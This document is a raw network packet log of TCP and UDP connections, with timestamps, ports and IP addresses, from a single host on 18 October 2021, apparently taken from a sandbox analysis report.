Oct 18, 2021 22:45:44.867507935 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.870232105 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.870323896 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.870352030 CEST	443	49747	37.19.206.70	192.168.2.5
Oct 18, 2021 22:45:44.870368004 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.870388985 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:44.870476007 CEST	49747	443	192.168.2.5	37.19.206.70
Oct 18, 2021 22:45:45.292650938 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.292702913 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.292789936 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.293004036 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.293030024 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.340157986 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.340529919 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.340570927 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.342642069 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.342753887 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.345185995 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.345318079 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.345331907 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.345357895 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.420546055 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:45.420574903 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:45.520513058 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:47.859483957 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:47.859713078 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:47.859812975 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:47.862668991 CEST	49759	443	192.168.2.5	104.21.91.115
Oct 18, 2021 22:45:47.862692118 CEST	443	49759	104.21.91.115	192.168.2.5
Oct 18, 2021 22:45:48.797449112 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.797486067 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.797570944 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.797911882 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.797929049 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.856136084 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.859814882 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.859852076 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.860341072 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.860438108 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.861375093 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.861454010 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.864417076 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.864612103 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.864898920 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:48.864916086 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:48.905765057 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:49.243906975 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:49.243922949 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:49.244043112 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:49.244621038 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:49.244652033 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:49.244743109 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:49.245805979 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:49.245937109 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:49.245970964 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:49.245990992 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:49.248661995 CEST	49777	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:49.248694897 CEST	443	49777	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:55.817743063 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:55.817856073 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:55.818257093 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:55.818350077 CEST	443	49739	142.250.203.109	192.168.2.5
Oct 18, 2021 22:45:55.818355083 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:55.818403959 CEST	49739	443	192.168.2.5	142.250.203.109
Oct 18, 2021 22:45:55.818407059 CEST	443	49738	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:55.818499088 CEST	49738	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:59.099814892 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.099859953 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.099946976 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.100197077 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.100217104 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.149122000 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.149565935 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.149600983 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.150121927 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.150228024 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.151465893 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.151565075 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.157494068 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.157677889 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.157924891 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.203129053 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.219887018 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.219913960 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.319900990 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.321204901 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.321295977 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.321989059 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.322063923 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.322144985 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.323009968 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.323035002 CEST	443	49798	172.217.168.14	192.168.2.5
Oct 18, 2021 22:45:59.323045015 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:45:59.323913097 CEST	49798	443	192.168.2.5	172.217.168.14
Oct 18, 2021 22:46:39.980026960 CEST	49827	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:46:39.996359110 CEST	80	49827	104.21.15.244	192.168.2.5
Oct 18, 2021 22:46:39.996718884 CEST	49827	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:46:39.997915030 CEST	49827	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:46:40.013849974 CEST	80	49827	104.21.15.244	192.168.2.5
Oct 18, 2021 22:46:41.344957113 CEST	80	49827	104.21.15.244	192.168.2.5
Oct 18, 2021 22:46:41.399250984 CEST	49827	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:46:46.860157967 CEST	49827	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:46:55.268064976 CEST	49835	80	192.168.2.5	172.67.209.58
Oct 18, 2021 22:46:55.283946037 CEST	80	49835	172.67.209.58	192.168.2.5
Oct 18, 2021 22:46:55.284095049 CEST	49835	80	192.168.2.5	172.67.209.58
Oct 18, 2021 22:46:55.284415007 CEST	49835	80	192.168.2.5	172.67.209.58
Oct 18, 2021 22:46:55.300394058 CEST	80	49835	172.67.209.58	192.168.2.5
Oct 18, 2021 22:46:56.593811989 CEST	80	49835	172.67.209.58	192.168.2.5
Oct 18, 2021 22:46:56.634834051 CEST	49835	80	192.168.2.5	172.67.209.58
Oct 18, 2021 22:47:03.944875956 CEST	49835	80	192.168.2.5	172.67.209.58
Oct 18, 2021 22:47:09.211611986 CEST	49837	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:47:09.227397919 CEST	80	49837	104.21.15.244	192.168.2.5
Oct 18, 2021 22:47:09.230556965 CEST	49837	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:47:09.230885983 CEST	49837	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:47:09.246473074 CEST	80	49837	104.21.15.244	192.168.2.5
Oct 18, 2021 22:47:10.600187063 CEST	80	49837	104.21.15.244	192.168.2.5
Oct 18, 2021 22:47:10.658240080 CEST	49837	80	192.168.2.5	104.21.15.244
Oct 18, 2021 22:47:16.820242882 CEST	49837	80	192.168.2.5	104.21.15.244

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2021 22:45:42.373657942 CEST	49557	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:42.398520947 CEST	53	49557	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:42.974153996 CEST	65447	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:43.001064062 CEST	53	65447	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:44.189560890 CEST	63183	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:44.190181017 CEST	60151	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:44.205862045 CEST	53	63183	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:44.210375071 CEST	53	60151	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:44.333760977 CEST	56969	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:44.371062994 CEST	53	56969	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:44.874641895 CEST	54757	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:45.000734091 CEST	49992	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:45.291742086 CEST	53	49992	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:47.909492970 CEST	50463	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:47.936017036 CEST	53	50463	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:48.769000053 CEST	50394	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:48.795991898 CEST	53	50394	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:52.183489084 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.214543104 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.214965105 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.244612932 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.244668007 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.244705915 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.244745016 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.256643057 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.259599924 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.273844004 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.273919106 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.333009005 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.333444118 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.333841085 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.376285076 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.395530939 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.395889997 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.395920992 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.416650057 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.497396946 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.587177992 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.587461948 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.587577105 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:52.604232073 CEST	443	63734	216.58.215.238	192.168.2.5
Oct 18, 2021 22:45:52.604480982 CEST	63734	443	192.168.2.5	216.58.215.238
Oct 18, 2021 22:45:56.605036020 CEST	54450	53	192.168.2.5	8.8.8.8
Oct 18, 2021 22:45:56.623437881 CEST	53	54450	8.8.8.8	192.168.2.5
Oct 18, 2021 22:45:56.624785900 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.654900074 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.655345917 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.683934927 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.683971882 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.684000969 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.684025049 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.684365988 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.685738087 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.706875086 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.707103014 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.748311996 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.748859882 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.750451088 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750490904 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750511885 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750528097 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750545979 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750564098 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750577927 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750600100 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750617027 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750641108 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750659943 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750675917 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.750700951 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.751085043 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.751136065 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.751235008 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.751260996 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.751317978 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.751379967 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.752824068 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.752846003 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.752860069 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.752871990 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.753706932 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.753772974 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.754698992 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.754717112 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.754729033 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.754740953 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.755244970 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.755302906 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.756903887 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.756921053 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.756932020 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.756942987 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.757535934 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.757594109 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.758838892 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.758856058 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.758867979 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.758878946 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.759104967 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.759202003 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.760603905 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.760631084 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.760646105 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.760660887 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.760935068 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.761007071 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.762223959 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.762268066 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.762298107 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.762331963 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.762481928 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.762581110 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.764893055 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.764944077 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.765134096 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.765324116 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.765458107 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.767631054 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.767657042 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.767676115 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.767690897 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.767924070 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.767977953 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.770157099 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.770183086 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.770199060 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.770219088 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.770440102 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.770528078 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.771754980 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.771785021 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.771809101 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.771830082 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.771982908 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.772058964 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.774542093 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.774569988 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.774590969 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.774617910 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.774636984 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.774657011 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.774758101 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.774804115 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.774861097 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.775475979 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.775504112 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.775530100 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.775554895 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.775712967 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.775784016 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.777345896 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.777383089 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.777410984 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.777436018 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.777618885 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.777659893 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.778904915 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.778942108 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.778970003 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.778995037 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.779021025 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.779046059 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.779177904 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.779244900 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.779314041 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.781269073 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781306982 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781336069 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781361103 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781387091 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781440973 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781466007 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781491995 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781615019 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.781728029 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.781769991 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.781846046 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.781913996 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.781948090 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.782140017 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.784073114 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784110069 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784152985 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784190893 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784226894 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784261942 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784297943 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784331083 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784899950 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.784934998 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.785471916 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.785545111 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.785645962 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.785794020 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.785814047 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.786672115 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786703110 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786722898 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786739111 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786772013 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786797047 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786820889 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786839008 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786859989 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786883116 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786904097 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786923885 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786946058 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786969900 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.786993027 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.787014008 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.787260056 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.787518024 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.788389921 CEST	443	54451	172.217.168.33	192.168.2.5
